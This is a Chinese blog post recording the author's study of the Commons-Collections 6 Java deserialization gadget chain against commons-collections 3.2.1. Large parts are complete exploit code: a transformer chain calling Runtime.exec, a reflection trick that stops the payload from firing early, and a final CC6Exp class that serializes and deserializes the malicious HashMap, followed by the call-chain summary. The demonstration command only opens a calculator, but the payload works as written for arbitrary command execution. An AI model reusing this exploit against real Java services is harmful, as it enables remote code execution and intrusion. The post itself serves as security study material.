Java_Commons-Collections 6 学习过程
Nbc Lv3

CC6被称为是最好用的CC利用链,因为CC6不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。

环境配置

  • Jdk 8u71
  • Comoons-Collections 3.2.1

链子分析

第一阶段

CC6前半段链子和LazyMap版的CC1是一样的,LazyMap 类到 InvokerTransformer 类是一样的,我们直接到 LazyMap 下从找get方法开始

第二阶段

CC6运用到的主要类就是这个TiedMapEntry 类中的 getValue() 方法

image

而这个map是TiedMapEntry构造函数的参数可控

image

至此我们编写一下Exp试试这个TiedMapEntry是否可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc");
tiedMapEntry.getValue();
}
}

image

第三阶段

然后就是继续往后找了,看看谁调用了getValue方法,正好就在这个类里有个hashCode方法中调用了getValue

image

看到hashCode这个方法就很熟悉了,就是urldns中的那个链子,在readObject中有个putVal里面有个hash(key)中自动调用key.hashCode()

image

image

key可以通过HashMap.put()设置

但是发现HashMap.put()本身就会调用一次hash()

image

这就会导致命令提前触发,导致反序列化的时候就不触发了

image

这里的解决方案是在put前将LazyMapfactory属性改为个随便的数据,然后再put之后再通过反射改回来,因为是protected属性

image

image

使其不触发

image

再通过反射改回来

1
2
3
4
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

tnnd为什么不弹

但是发现怎么不弹计算器

LazyMap中的get()方法处下个断点我们可以发现再反序列化的时候跳到这个地点时那个if判断是进不去的因为map.containsKey(key)是true

image

这是因为get方法中存在map.put(key, value)

序列化前如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

所以我们把这个keyput后给删了就行

image

image

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("suibian"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
HashMap finHash = new HashMap<>();
finHash.put(tiedMapEntry,"nbc2");
hashMap.remove("nbc1");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(finHash);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

调试问题

如果调试的时候发现序列化的时候就弹计算器了,这是因为idea自带的会触发toString方法,点掉就行

image

导致直接调用了

image

流程

1
2
3
4
5
6
7
8
9
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

image

由 Hexo 驱动 & 主题 Keep
访客数 访问量